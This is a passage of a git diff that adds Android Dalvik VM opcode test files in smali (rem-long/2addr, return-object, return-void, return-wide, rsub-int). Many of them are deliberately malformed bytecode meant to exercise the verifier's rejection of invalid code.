+       rem-long/2addr v12, v14
+       return-wide v12
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali
new file mode 100644
index 0000000..0df591f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       rem-long/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali
new file mode 100644
index 0000000..1394f8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       rem-long/2addr v11, v12
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali
new file mode 100644
index 0000000..d1a310f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)J
+.registers 14
+
+       rem-long/2addr v11, v13
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali
new file mode 100644
index 0000000..730be9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v9, v12
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali
new file mode 100644
index 0000000..5f4cc9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_1.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 3
+
+       const-string v1, "hello"
+       return-object v1
+.end method
+
+.method public run2()Ljava/lang/Object;
+.registers 3
+       return-object v2
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali
new file mode 100644
index 0000000..7ba1b11
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_10.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const v1, 123
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali
new file mode 100644
index 0000000..389d4bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_11.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const-wide v1, 123
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali
new file mode 100644
index 0000000..6331169
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_15.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_15;
+.super  Ljava/lang/Object;
+.implements  Ldot/junit/opcodes/return_object/RunnerGenerator;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ldot/junit/opcodes/return_object/Runner;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/return_object/d/TSuper2;
+       invoke-direct {v1}, Ldot/junit/opcodes/return_object/d/TSuper2;-><init>()V
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali
new file mode 100644
index 0000000..19f371e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_16.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+      return-object v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali
new file mode 100644
index 0000000..0eb70b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_2.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const/4 v1, 0
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali
new file mode 100644
index 0000000..c79a4a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_3.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       return-object v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali
new file mode 100644
index 0000000..dd1220e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_5.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+      return-object v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali
new file mode 100644
index 0000000..26b5f02
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali

@@ -0,0 +1,64 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_6.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private static test()Ljava/lang/String;
+.registers 5
+
+       const-string v0, "aaa"
+       const-string v1, "bbb"
+       const-string v2, "ccc"
+       const-string v3, "ddd"
+       return-object v3
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 10
+       const-string v1, "a"
+       const-string v2, "b"
+       const-string v3, "c"
+       invoke-static {}, Ldot/junit/opcodes/return_object/d/T_return_object_6;->test()Ljava/lang/String;
+       move-result-object v7
+
+       const-string v8, "ddd"
+       if-ne v7, v8, :Label43
+
+       const-string v7, "a"
+       if-ne v1, v7, :Label43
+
+       const-string v7, "b"
+       if-ne v2, v7, :Label43
+
+       const-string v7, "c"
+       if-ne v3, v7, :Label43
+
+       const-string v0, "hello"
+       return-object v0
+:Label43
+       const-string v0, "a"
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali
new file mode 100644
index 0000000..f649715
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali

@@ -0,0 +1,65 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_1.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+        
+    invoke-static {}, Ldot/junit/opcodes/return_void/d/T_return_void_1;->test()V
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()V
+.registers 5
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    const v4, 0xdddd
+    
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali
new file mode 100644
index 0000000..d01ad45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_5.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali
new file mode 100644
index 0000000..f26755a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_6.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali
new file mode 100644
index 0000000..0627776
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_7.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali
new file mode 100644
index 0000000..b30bde0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali

@@ -0,0 +1,71 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_1.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 10
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+    
+    const-wide v4, 0xdddd
+        
+    invoke-static {}, Ldot/junit/opcodes/return_wide/d/T_return_wide_1;->test()J
+    move-result-wide v6
+    
+    cmp-long v0, v4, v6
+    if-nez v0, :Label0
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()J
+.registers 6
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    
+    const-wide v4, 0xdddd
+    return-wide v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali
new file mode 100644
index 0000000..a82bbf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_5.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const v0, 1
+    return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali
new file mode 100644
index 0000000..4526455
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_6.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    const-wide v0, 1
+    return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali
new file mode 100644
index 0000000..ac5c891
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_7.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    return-wide v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali
new file mode 100644
index 0000000..671662a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_8.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    const v0, 0
+    const v1, 0
+    return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali
new file mode 100644
index 0000000..2876779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali

@@ -0,0 +1,67 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_1.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_1;
